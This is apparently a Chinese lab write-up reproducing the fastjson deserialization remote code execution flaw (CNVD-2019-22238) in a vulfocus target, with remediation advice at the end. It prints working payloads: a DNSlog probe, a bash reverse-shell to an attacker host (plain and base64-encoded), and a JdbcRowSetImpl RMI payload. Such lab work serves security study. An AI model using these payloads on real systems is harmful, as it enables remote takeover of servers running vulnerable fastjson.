漏洞简介
- Fastjson是一个 Java 库,可以将 Java 对象与 JSON 字符串相互转化,fastjson提供了 autotype 功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次,fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的 Gadget),则会造成一些严重的安全问题;
fastjson了解
- fastjson是阿里巴巴公司开源的一款json解析器,它可以将 Java 字符串序列化为 JSON 字符串,也可以将 JSON 字符串反序列化为 Java对象,而fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson;
受影响版本
- fastjson <= 1.2.47
1.2.24版本
- fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性;通过查找代码中相关的方法,即可构造出一些恶意利用链;
1.2.47版本
- fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令;
环境搭建
- 由于环境搭建比较繁琐,还不会的小伙伴可以参考下哟😜; ——> 手把手教你如何搭建vulfocus靶场
漏洞验证
- 开启靶场成功访问,看到是一个JSON数据格式的页面;
- 乱点一通后也没发现啥其他的信息,开启
Burp
抓个包看看;
- 放包正常响应,但是发现将
GET
修改为POST
报了400;
- 查错后发现好像是说请求体错误需要进行传值,尝试传值看下会有什么响应,就地取材叭复制GET请求的那个JSON数据😂;
- 发现居然200成功了,可尝试构造JSON数据看能否执行命令,可使用dnslog平台进行测试;
- 构造JSON数据进行发包;
{"name":{"@type":"java.net.InetAddress","val":"dnslog测试域名"}}
- 返回
dnslog
平台查看结果发现盲打成功了;
漏洞复现
- 构造执行恶意命令的JSON数据,使用fastjson工具;
- 将要执行的反弹shell命令进行base64编码;
bash -i >& /dev/tcp/vps-ip/监听端口 0>&1
注: 如果是本地搭建的环境使用kali反弹及其他操作即可,特殊情况需使用vps
- 执行java命令在vps上生成
payload
,不知道为啥这两个payload
貌似都不能成功,所以只复制rmi
部分;
java -cp fastjson_tool.jar fastjson.HRMIServer x.x.x.x 4321 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}"
注: x.x.x.x为攻击机IP; 4321为端口,可随意端口; 引号内容为base64编码后的反弹命令;
反弹shell
- 将复制的
rmi
部分与下面paylaod
的rmi
部分进行替换;
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://x.x.x.x:4321/Object",
"autoCommit":true
}
}
- 开启监听,端口为反弹shell命令端口;
- 点击发包返回500,查看监听成功反弹shell;
- 在
/tmp
目录下成功拿到flag;
修复意见
1)使用WAF紧急漏洞拦截,升级至安全版本;
2)对fastjson进行一定的安全加固措施;
3)采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson;
上一篇 > log4j2 CVE-2021-44228 远程代码执行漏洞
下一篇 > jboss CVE-2015-7501 反序列化漏洞
以上内容就是fastjson CNVD-2019-22238 远程代码执行漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!